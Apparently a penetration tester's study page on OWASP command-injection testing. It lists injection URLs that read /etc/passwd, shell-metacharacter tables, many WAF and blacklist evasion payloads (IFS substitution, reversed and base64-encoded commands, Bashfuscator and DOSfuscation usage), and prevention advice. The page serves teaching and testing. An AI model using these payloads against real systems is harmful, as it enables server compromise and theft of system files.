Skip to content

Command injection

OWASP

OWASP Web Security Testing Guide 4.2 > 7. Data Validation Testing > 7.12. Testing for Command Injection

ID Link to Hackinglife Link to OWASP Description
7.12 WSTG-INPV-12 Testing for Command Injection - Identify and assess the command injection points with special characters (i.e.: | ; & $ > < ' !) For example: ?doc=Doc1.pdf+|+Dir c:|

Command injection vulnerabilities in the context of web application penetration testing occur when an attacker can manipulate the input fields of a web application in a way that allows them to execute arbitrary operating system commands on the underlying server. This type of vulnerability is a serious security risk because it can lead to unauthorized access, data theft, and full compromise of the web server.

Causes:

  • User Input Handling: Web applications often take user input through forms, query parameters, or other means.
  • Lack of Input Sanitization: Insecurely coded applications may fail to properly validate, sanitize, or escape user inputs before using them in system commands.
  • Injection Points: Attackers identify injection points, such as input fields or URL query parameters, where they can insert malicious commands.

Impact:

  • Unauthorized Execution: Attackers can execute arbitrary commands with the privileges of the web server process. This can lead to unauthorized data access, code execution, or system compromise.
  • Data Exfiltration: Attackers can exfiltrate sensitive data, such as database content, files, or system configurations.
  • System Manipulation: Attackers may manipulate the server, installmalware, or create backdoors for future access.

Types of injections:

Injection Description
OS Command Injection Occurs when user input is directly used as part of an OS command.
Code Injection Occurs when user input is directly within a function that evaluates code.
SQL Injections Occurs when user input is directly used as part of an SQL query.
Cross-Site Scripting/HTML Injection Occurs when exact user input is displayed on a web page.

There are many other types of injections other than the above, like LDAP injectionNoSQL InjectionHTTP Header InjectionXPath InjectionIMAP InjectionORM Injection, and others.

How to Test

Malicious Input: Attackers craft input that includes special characters, like semicolons, pipes, backticks, and other shell metacharacters, to break out of the intended input context and inject their commands. Command Execution: When the application processes the attacker's input, it constructs a shell command using the malicious input. The server, believing the command to be legitimate, executes it in the underlying operating system

Case Study: Perl

When viewing a file in a web application, the filename is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol | onto the end of the filename.

1
2
3
4
5
# Example URL before alteration
http://sensitive/cgi-bin/userData.pl?doc=user1.txt 

# Example URL modified
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|

PHP code injection

PHP code injection vulnerabilities, also known as PHP code execution vulnerabilities, occur when an attacker can inject and execute arbitrary PHP code within a web application. These vulnerabilities are a serious security concern because they allow attackers to gain unauthorized access to the server, execute malicious actions, and potentially compromise the entire web application.

Malicious Input: Attackers craft input that includes PHP code snippets, often enclosed within PHP tags (<?php ... ?>) or backticks (`).

Code Execution: When the application processes the attacker's input, it includes the injected PHP code as part of a PHP script that is executed on the server.

This allows the attacker to run arbitrary PHP code in the context of the web application.

Command injection: Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. %3B is URL encoded and decodes to semicolon

# Directly injecting operating system commands:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd

########
# Injecting PHP commands
#########

# Validating that the injection is possible
http://example.com/page.php?message=test;phpinfo();
http://example.com/page.php?id=1'];phpinfo();

# Executing PHP commands
http://example.com/page.php?message=test;system(cat%20/etc/passwd)

Special characters for command injection

The following special character can be used for command injection such as:

| ; & $ > < ' ! 
# Uses of | will make command 2 to be executed weather command 1 execution is successful or not.
cmd1|cmd2

# Uses of ; will make command 2 to be executed weather command 1 execution is successful or not.
cmd1;cmd2

# Command 2 will only be executed if command 1 execution fails. 
cmd1||cmd2


# Command 2 will only be executed if command 1 execution succeeds. 
cmd1&&cmd2

# For example, echo $(whoami) or $(touch test.sh; echo 'ls' > test.sh)
$(cmd)

# It’s used to execute specific command. For example, whoami 
cmd

>(cmd) : >(ls) 
<(cmd) : <(ls)
Injection Operator Injection Character URL-Encoded Character Executed Command
Semicolon ; %3b Both
New Line \n %0a Both
Background & %26 Both (second output generally shown first)
Pipe \| %7c Both (only second output is shown)
AND && %26%26 Both (only if first succeeds)
OR \| %7c%7c Second (only if first fails)
Sub-Shell `` %60%60 Both (Linux-only)
Sub-Shell $() %24%28%29 Both (Linux-only)

Tip: In addition to the above, there are a few unix-only operators, that would work on Linux and macOS, but would not work on Windows, such as wrapping our injected command with double backticks (``) or with a sub-shell operator ($()).

Injection Type Operators
SQL Injection ' , ; -- /* */
Command Injection ; &&
LDAP Injection * ( ) & \|
XPath Injection ' or and not substring concat count
OS Command Injection ; & \|
Code Injection ' ; -- /* */ $() ${} #{} %{} ^
Directory Traversal/File Path Traversal ../ ..\\ %00
Object Injection ; & \|
XQuery Injection ' ; -- /* */
Shellcode Injection \x \u %u %n
Header Injection \n \r\n \t %0d %0a %09

Bypassing techniques for filters and WAFs

A web application may have a list of blacklisted characters, and if the command contains them, it would deny the request. The PHP code may look something like the following:

1
2
3
4
5
6
$blacklist = ['&', '|', ';', ...SNIP...];
foreach ($blacklist as $character) {
    if (strpos($_POST['ip'], $character) !== false) {
        echo "Invalid input";
    }
}

Common tricks

# Use url-encoded encode. new line \n would be
%0a

# If typical commands such as 'whoami' are being filtered, include some other characters that are going to be removed to escape the pattern. Example
whoam'i

# If blank spaces are removed, use different types of spaces. The url-encoded expression for TAB would be 
%09

# Using the ($IFS) Linux Environment Variable. If we use `${IFS}` where the spaces should be, the variable should be automatically replaced with a space, and our command should work. 
# Example: 
# 127.0.0.1%0a${IFS}

# We can use the `Bash Brace Expansion` feature, which automatically adds spaces between arguments wrapped between braces, as follows:
{ls,-la}
# Example
# 127.0.0.1%0a{ls,-la}

Using environmental variables to substitute filtered characters in Linux

Slashes and back-slashes

A very commonly blacklisted character is the slash (/) or backslash (\) character, as it is necessary to specify directories in Linux or Windows.  we can replace slashes (or any other character) is through Linux Environment Variables .

The $PATH environment variable in Linux, for example, contains the / character in a fixed position:

 echo ${PATH:0:1}

We can do the same with the $HOME or $PWD environment variables as well.

Semicolon

Following the same reasoning, this command gives you a semi-colon:

echo ${LS_COLORS:10:1}

Other characters

# The `printenv` command prints all environment variables in Linux, so you can look which ones may contain useful characters, and then try to reduce the string to that character only.
printenv

Example:

# A given website with a vulnerable to command injection input for the ip parameter. We will add a semicolon and a space to our payload
ip=127.0.0.1${LS_COLORS:10:1}${IFS}

Using environmental variables to substitute filtered characters in Windows

In a cmd session:

# To produce a slash in `Windows Command Line (CMD)`, we can `echo` a Windows variable (`%HOMEPATH%` -> `\Users\htb-student`), and then specify a starting position (`~6` -> `\htb-student`), and finally specifying a negative end position, which in this case is the length of the username `htb-student` (`-11` -> `\`)
echo %HOMEPATH:~6,-11%

We can achieve the same thing using the same variables in Windows PowerShell:

1
2
3
4
5
6
7
8
# Print all environmental variables:
Get-ChildItem Env

# For the backslash
$env:HOMEPATH[0]

#  
$env:PROGRAMFILES[10]

Character Shifting

There are other techniques to produce the required characters without using them, like shifting characters.

1
2
3
4
5
# Note that the character \ is on 92, before it is [ on 91
man ascii     

# Print the character \ by invoking the character [ and ussing a shifting operation
echo $(tr '!-}' '"-~'<<<[)

We can use PowerShell commands to achieve the same result in Windows, though they can be quite longer than the Linux ones.

Bypassing Blacklisted Commands by inserting characters

A common bypass is Inserting certain characters within our command that are usually ignored by command shells like Bash or PowerShell

The important things to remember are that we cannot mix types of quotes and the number of quotes must be even.

1
2
3
4
5
# Single quotes
w'h'o'am'i

# The same works with double-quotes as well:
 w"h"o"am"i

Linux only

We can insert a few other Linux-only characters in the middle of commands, and the bash shell would ignore them and execute the command.

1
2
3
# These characters include the backslash \ and the positional parameter character $@.
who$@ami
w\ho\am\i

Windows only

There are also some Windows-only characters we can insert in the middle of commands that do not affect the outcome, like a caret (^) character, as we can see in the following example:

who^ami

Case manipulation

One command obfuscation technique we can use is case manipulation, like inverting the character cases of a command (e.g. WHOAMI) or alternating between cases (e.g. WhOaMi).

WhOaMi

However, when it comes to Linux and a bash shell, which are case-sensitive, as mentioned earlier, we have to get a bit creative and find a command that turns the command into an all-lowercase word. One working command we can use is the following:

$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")

There might be some issues with the above payload. Blank spaces can be filtered. To bypass it, we will change the blank spaces for the TAB url encoded characters %09:

$(tr%09"[A-Z]"%09"[a-z]"<<<"WhOaMi")

There are many other commands we may use for the same purpose, like the following:

1
2
3
$(a="WhOaMi";printf%09%$(tr%09%'!-}'%09%'"-~'<<<$)s%09%"${a,,}")

$(a="WhOaMi";printf %s "${a,,}")

Reverse commands

Another command obfuscation technique we will discuss is reversing commands and having a command template that switches them back and executes them in real-time. In this case, we will be writing imaohw instead of whoami to avoid triggering the blacklisted command.

# To execute whoami:
$(rev<<<'imaohw')

The same can be applied in Windows. We can first reverse a string, as follows:

 iex "$('imaohw'[-1..-20] -join '')"

Encoded commands

We can utilize various encoding tools, like base64 (for b64 encoding) or xxd (for hex encoding). Let's take base64 as an example. First, we'll encode the payload we want to execute (which includes filtered characters):

1
2
3
4
5
6
7
8
echo -n 'cat /etc/passwd | grep 33' | base64
# Output: Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==

# Now we can create a command that will decode the encoded string in a sub-shell ($()), and then pass it to bash to be executed (i.e. bash<<<), as follows:
# Tip: Note that we are using <<< to avoid using a pipe |, which is a filtered character.
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
# Output: 
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

We use the same technique with Windows as well. First, we need to base64 encode our string, as follows:

[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))

We may also achieve the same thing on Linux, but we would have to convert the string from utf-8 to utf-16 before we base64 it, as follows:

echo -n whoami | iconv -f utf-8 -t utf-16le | base64

Finally, we can decode the b64 string and execute it with a PowerShell sub-shell (iex "$()"), as follows:

 iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

In addition to the techniques we discussed, we can utilize numerous other methods, like wildcards, regex, output redirection, integer expansion, and many others. We can find some such techniques on PayloadsAllTheThings.

Code Review Dangerous API

Be aware of the uses of following API as it may introduce the command injection risks.

Java

Runtime.exec()

C/C++

1
2
3
system 
exec 
ShellExecute

Python

1
2
3
4
5
6
exec
eval
os.system
os.popen
subprocess.popen
subprocess.call

PHP

1
2
3
4
5
system
shell_exec 
exec
proc_open 
eval

Tools for evasion

Linux (Bashfuscator)

More on bashfuscator.

Installation:

1
2
3
4
git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user

Basic usage:

cd ./bashfuscator/bin/

# List help
./bashfuscator -h

# providing the command we want to obfuscate with the -c flag
./bashfuscator -c 'cat /etc/passwd'

# You can copy the obfuscated payload to your clipboard with --clip, or write it to a file with -o.
./bashfuscator -c 'cat /etc/passwd' -o file.sh

# The -s and -t options control the added size and execution time of the obfuscated payload respectively. They both default to 2, but can be set to 1-3 to control the generated payload more closely. The higher the -s or -t options, the greater the variety of the payload, at the expense of added size. 
./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

# You should make sure the obfuscated payload works as expected, and the –test option will make that easier. When used, –test will invoke the obfuscated payload in memory, and show the output.
./bashfuscator -c "cat /etc/passwd" --test

DOSfuscation

More on DOSfuscation.

Installation:

1
2
3
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git

cd Invoke-DOSfuscation

Basic commands

Import-Module .\Invoke-DOSfuscation.psd1

# Enter in the Dosfuscation terminal line
Invoke-DOSfuscation

#####
# Once in the specific terminal line
# 1. Get help
help
# 2. See tutorial
tutorial
# An example:
SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
encoding
1
# Output:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt
#  Running the obfuscated command on CMD, and we see that it indeed works as expected:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

Prevention

System commands

Instead of using system command execution functions, we should use built-in functions that perform the needed functionality, as back-end languages usually have secure implementations of these types of functionalities. For example, suppose we wanted to test whether a particular host is alive with PHP. In that case, we may use the fsockopen function instead, which should not be exploitable to execute arbitrary system commands.

Input Validation

Input validation should be done both on the front-end and on the back-end. Whether using built-in functions or system command execution functions, we should always validate and then sanitize the user input. Input validation is done to ensure it matches the expected format for the input, such that the request is denied if it does not match.

PHP

In PHP, like many other web development languages, there are built in filters for a variety of standard formats, like emails, URLs, and even IPs, which can be used with the filter_var function, as follows:

Code: php

1
2
3
4
5
if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) {
    // call function
} else {
    // deny request
}

Javascript in NodeJS

If we wanted to validate a different non-standard format, then we can use a Regular Expression regex with the preg_match function. The same can be achieved with JavaScript for both the front-end and back-end (i.e. NodeJS), as follows:

1
2
3
4
5
6
if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(ip)){
    // call function
}
else{
    // deny request
}

Just like PHP, with NodeJS, we can also use libraries to validate various standard formats, like is-ip for example, which we can install with npm, and then use the isIp(ip) function in our code. You can read the manuals of other languages, like .NET or Java, to find out how to validate user input on each respective language.

Input Sanitization

Removing any non-necessary special characters from the user input. Input sanitization is always performed after input validation.

PHP

Case: IP  We can use preg_replace to remove any special characters from the user input, as follows:  

$ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']);

As we can see, the above regex only allows alphanumerical characters (A-Za-z0-9) and allows a dot character (.) as required for IPs.

Javascript

var ip = ip.replace(/[^A-Za-z0-9.]/g, '');

We can also use the DOMPurify library for a NodeJS back-end, as follows:

import DOMPurify from 'dompurify';
var ip = DOMPurify.sanitize(ip);

Server Configuration

  • Use the web server's built-in Web Application Firewall (e.g., in Apache mod_security), in addition to an external WAF (e.g. CloudflareFortinetImperva..
  • Abide by the Principle of Least Privilege (PoLP) by running the web server as a low privileged user (e.g. www-data)
  • Prevent certain functions from being executed by the web server (e.g., in PHP disable_functions=system,...)
  • Limit the scope accessible by the web application to its folder (e.g. in PHP open_basedir = '/var/www/html')
  • Reject double-encoded requests and non-ASCII characters in URLs
  • Avoid the use of sensitive/outdated libraries and modules (e.g. PHP CGI)
Last update: 2025-01-26
Created: January 26, 2025 11:43:01